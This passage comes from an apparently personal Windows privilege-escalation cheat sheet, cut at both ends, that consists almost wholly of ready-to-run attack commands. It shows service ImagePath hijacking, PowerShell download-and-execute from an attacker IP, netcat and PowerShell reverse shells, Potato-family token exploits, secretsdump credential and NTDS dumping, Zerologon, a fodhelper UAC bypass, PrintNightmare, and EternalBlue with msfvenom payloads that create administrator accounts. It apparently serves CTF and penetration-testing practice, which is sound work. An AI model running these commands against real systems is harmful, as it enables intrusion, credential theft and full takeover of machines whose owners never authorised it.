HKLM:\\ ## ------------------| Check if we can start the service .\accesschk.exe /accepteula -ucqv user ## ------------------| Check Current values [ImagePath & ObjectName == LocalSystem] reg query HKLM:\\ ## ------------------| Add new value reg add HKLM:\\ /v ImageaPath /t REG_EXPAND_SZ /d C:\Windows\Temp\shell.exe /f net start [](#id-02.-tools) 02\. Tools --------------------------------- ### [](#id-02.1-powerup) 02.1 [PowerUp](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) Copy ## ------------------| Download and execute C:\windows\sysnative\WindowsPowerShell\v1.0\powershell.exe "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.26/PowerUp.ps1')" ## ------------------| Best check Invoke-AllChecks CurrentUserTokenGroupSid Get-RegistryAutoLogon ## ------------------| Check other functions cat PowerUp.ps1 | grep -Ei '^function' | grep '{$' | grep '-' | awk '{print $2}' ### [](#id-02.2-powerupsql) [02.2 PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) * [Click here for cheatsheet!!](https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet) Copy # Download wget https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1 # Upload IEX(New-Object Net.WebClient).downloadString('http://10.10.14.26/PowerUpSQL.ps1') # Execute commands Get-SQLInstanceLocal -Verbose Invoke-SQLUncPathInjection -Verbose Invoke-SQLImpersonateService -Verbose Invoke-SQLEscalatePriv -Verbose $Targets | Invoke-SQLOSCLR -Verbose -Command "Whoami" $Targets | Invoke-SQLOSPython -Verbose -Command "Whoami" $Targets | Invoke-SQLOSCmdAgentJob -Verbose -SubSystem CmdExec -Command "echo hello > c:\windows\temp\test1.txt" $Targets | Invoke-SQLOSCmdAgentJob -Verbose -SubSystem PowerShell -Command 'write-output "hello world" | out-file c:\windows\temp\test2.txt' -Sleep 20 ### [](#id-02.3-seatbelt) 02.3 Seatbelt Copy # Run ALL enumeration checks Seatbelt.exe -group=all ### [](#id-02.4-secretsdump) 02.4 **SecretsDump** Copy ## ------------------| If you have SAM and SYSTEM files on your hand impacket-secretsdump -sam SAM -system SYSTEM local ## ------------------| Remote impacket-secretsdump htb.local/h4rithd:'Passw0rD$'@10.10.10.161 # 31d6cfe0d16ae931b73c59d7e0c089c0 <-- blank # aad3b435b51404eeaad3b435b51404ee <-- blank [LM] ## ------------------| Remote NTDS ## Copy ntds file robocopy /B C:\Windows\ntds .\ntds ntds.dit ## Copy sam and system file then run impacket-secretsdump -sam SAMFILE -system SYSTEMFILE -ntds NTDS.DIT local ## ------------------| Local NTDS impacket-secretsdump -system ntds.bin -ntds ntds.dit local ## ntds.bin: MS Windows registry file, NT/2000 or above ## ntds.dit: Extensible storage engine DataBase, version 0x620, checksum 0x16d44752, page size 8192, DirtyShutdown, Windows version 6.1 [](#id-03.-common-exploits) 03\. Common Exploits ----------------------------------------------------- ### [](#id-03.0-godpotato-new) 03.0 [GodPotato](https://github.com/BeichenDream/GodPotato) (New) Copy ## ------------------| Download #### .Net4 wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe -O GodPotato.exe #### .Net3.5 wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET35.exe -O GodPotato.exe #### .Net2 wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET2.exe -O GodPotato.exe ## ------------------| Exploit .\GodPotato.exe -cmd "powershell -EncodedCommand SQBFAFgAKABOA.....ApAA==" ### [](#id-03.0-juicypotatong-new) 03.0 [JuicyPotatoNG](https://github.com/antonioCoco/JuicyPotatoNG) (New) Copy ## ------------------| Verify the vulnerability whoami /priv | findstr "Enabled" # Check if "SeImpersonatePrivilege or SeAssignPrimaryToken is Enabled" we are good!! 👌👌👌 ## ------------------| Download to local machine wget https://github.com/antonioCoco/JuicyPotatoNG/releases/download/v1.1/JuicyPotatoNG.zip unzip JuicyPotatoNG.zip ## ------------------| After upload it on victim's machine create bat file echo "powershell -EncodedCommand SQBFAFgAKABOA.....ApAA==" > shell.bat type C:\programdata\shell.bat ## ------------------| Run .\JuicyPotatoNG.exe -t * -p \shell.bat ### [](#id-03.1-juicy-potato-abusing-the-golden-privileges) 03.1 [Juicy Potato](https://github.com/ohpe/juicy-potato) (Abusing the golden privileges) Copy ## ------------------| Verify the vulnerability whoami /priv | findstr "Enabled" # Check if "SeImpersonatePrivilege or SeAssignPrimaryToken is Enabled" we are good!! 👌👌👌 ## ------------------| Create .bat script ## Shell through Netcat echo START C:\\nc.exe -e powershell.exe YourIP YourPort > sh3ll.bat ## Shell through Powershell cmd.exe /c powershell -ep bypass IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.26/rev.ps1') ## ------------------| List CLSID's .\JuicyPotato.exe -z -l 100 ## ------------------| Execute .\JuicyPotato.exe -t * -c "{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}" -p C:\Users\Public\shell.bat -l 1337 .\JuicyPotato.exe -t * -c "{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}" -p C:\Users\Public\shell.exe -l 1337 ## ------------------| General options # Mandatory args: -t createprocess call: CreateProcessWithTokenW, CreateProcessAsUser, <*> try both -p : program to launch -l : COM server listen port # Optional args: -m : COM server listen address (default 127.0.0.1) -a : command line argument to pass to program (default NULL) -k : RPC server ip address (default 127.0.0.1) -n : RPC server listen port (default 135) -c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097}) -z only test CLSID and print token's user * Click [here](https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md) to view CLSIDs ### [](#id-03.2-roguepotato-no-more-juicypotato-old-story-welcome-roguepotato) 03.2 [RoguePotato](https://github.com/antonioCoco/RoguePotato) ([No more JuicyPotato? Old story, welcome RoguePotato!](https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/) ) Copy ## ------------------| Run Chisel to bind port 9999 chisel server --reverse --port 1337 ## From Our end .\chisel64.exe client :1337 R:9999:localhost:9999 ## From Attackers end ## ------------------| Run socat to catch 135 sudo socat tcp-listen:135,reuseaddr,fork tcp:127.0.0.1:9999 ## From Our end ## ------------------| Execute RoguePotato .\RoguePotato.exe -r -e "powershell C:\Windows\Temp\rev.ps1" -l 9999 # or .\RoguePotato.exe -r -e "c:\windows\temp\h4rithd.exe" -l 9999 ### [](#id-03.3-multipotato) 03.3 [MultiPotato](https://github.com/S3cur3Th1sSh1t/MultiPotato) Copy ## ------------------| Download ### Bit 64 wget https://github.com/h4rithd/PrecompiledBinaries/raw/main/MultiPotato/Multipotatox64.exe -O Multipotato.exe ### Bit 32 wget https://github.com/h4rithd/PrecompiledBinaries/raw/main/MultiPotato/Multipotatox32.exe -O Multipotato.exe ## ------------------| BindShell with SpoolSample PipeName .\MultiPotato.exe -t BindShell -p "pwned\pipe\spoolss" ## ------------------| CreateUser with modified PetitPotam trigger .\Multipotato.exe -t CreateUser ## ------------------| CreateProcessAsUserW with SpoolSample trigger .\Multipotato.exe -t CreateProcessAsUserW -p "pwned\pipe\spoolss" -e "C:\temp\stage2.exe" ### [](#id-03.4-printspoofer) 03.4 PrintSpoofer Copy # !!! Microsoft Visual C++ Redistributable Must installed .\PrintSpoofer.exe -i -c "C:\\\shell.exe" ### [](#id-03.5-zerologon-or-cve-2020-1472) 03.5 [Zerologon | CVE 2020-1472](https://github.com/dirkjanm/CVE-2020-1472) Copy git clone https://github.com/dirkjanm/CVE-2020-1472.git cd CVE-2020-1472 python3 cve-2020-1472-exploit.py MULTIMASTER 10.10.10.179 # if exploit complte, impacket-secretsdump -just-dc -no-pass MULTIMASTER\[email protected] # Now you can login with this # '$' is used for machine account impacket-psexec [email protected] -hashes 69cbf4a9b7415c9e1caf93d51d971be0:69cbf4a9b7415c9e1caf93d51d971be0 ### [](#id-03.6-fodhelper.exe-uac-bypass) 03.6 [Fodhelper.exe - UAC Bypass](https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/) Copy ## ------------------| CMD REG ADD HKCU\Software\Classes\ms-settings\shell\open\command REG ADD HKCU\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_SZ REG ADD HKCU\Software\Classes\ms-settings\shell\open\command /d "cmd.exe /c powershell -EncodedCommand SQBF..dgZFS==" /f C:\Windows\System32\fodhelper.exe ## ------------------| Powershell $program = "cmd.exe /c powershell -EncodedCommand SQBF..dgZFS==" New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden ## ------------------| Remove Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force ### [](#id-03.7-serviio-insecure-file-permissions) 03.7 Serviio Insecure File Permissions Copy ## ------------------| Enumarations Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'} | findstr Serviio icacls "C:\Program Files\Serviio\bin\ServiioService.exe" # Check if we have BUILTIN\Users:(I)(F) ## ------------------| Exploit move "C:\Program Files\Serviio\bin\ServiioService.exe" "C:\Program Files\Serviio\bin\ServiioService_original.exe" move revshell.exe "C:\Program Files\Serviio\bin\ServiioService.exe" net stop Serviio ## or wmic service where caption="Serviio" get name, caption, state,startmode whoami /priv | findstr SeShutdownPrivilege ## Disabled OK shutdown /r /t 0 ### [](#id-03.8-printnightmare) 03.8 [PrintNightmare](https://github.com/calebstewart/CVE-2021-1675) Copy ## ------------------| Verify vulnerability impacket-rpcdump @ | grep -A2 -B2 MS-RPRN ## ------------------| Download and execute wget https://raw.githubusercontent.com/calebstewart/CVE-2021-1675/main/CVE-2021-1675.ps1 Import-Module .\CVE-2021-1675.ps1 Invoke-Nightmare ## If you get any kind of errors like ExecutionPolicy; try with evil-winrm evil-winrm -i -u -p -s $(pwd) CVE-2021-1675.ps1 menu Invoke-Nightmare ## Then use psexec to login with new creds impacket-psexec adm1n:'P@ssw0rd'@ ### [](#id-03.9-eternalblue-ms17-010) 03.9 EternalBlue (MS17-010) Copy ## ------------------| Check nmap -sV -Pn -p 445 --script smb-vuln-ms17-010 $IP ## ------------------| Setup git clone https://github.com/helviojunior/MS17-010.git && cd MS17-010 virtualenv -p python2 venv source venv/bin/activate pip2 install impacket pycrypto # This will get an error; that's fine python checker.py msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=4545 -f exe > rev.exe ## ------------------| Method I python send_and_execute.py rev.exe ## ------------------| Method II ## Open zzz_exploit.py file and edit following lines service_exec(conn, r'cmd /c net user h4rithd Password123 /add') service_exec(conn, r'cmd /c net localgroup administrators h4rithd /add') python zzz_exploit.py ### [](#id-03.10-misconfigured-certificate-template) 03.10 Misconfigured Certificate Template Copy ## --------------------| Using Certipy-Ad sudo apt install certipy-ad ## To find vulnerable certificate templates certipy-ad find -u -p -dc-ip certipy-ad find -u @ -p -dc-ip ## Exploit certipy-ad req '@:@' -ca '' -template '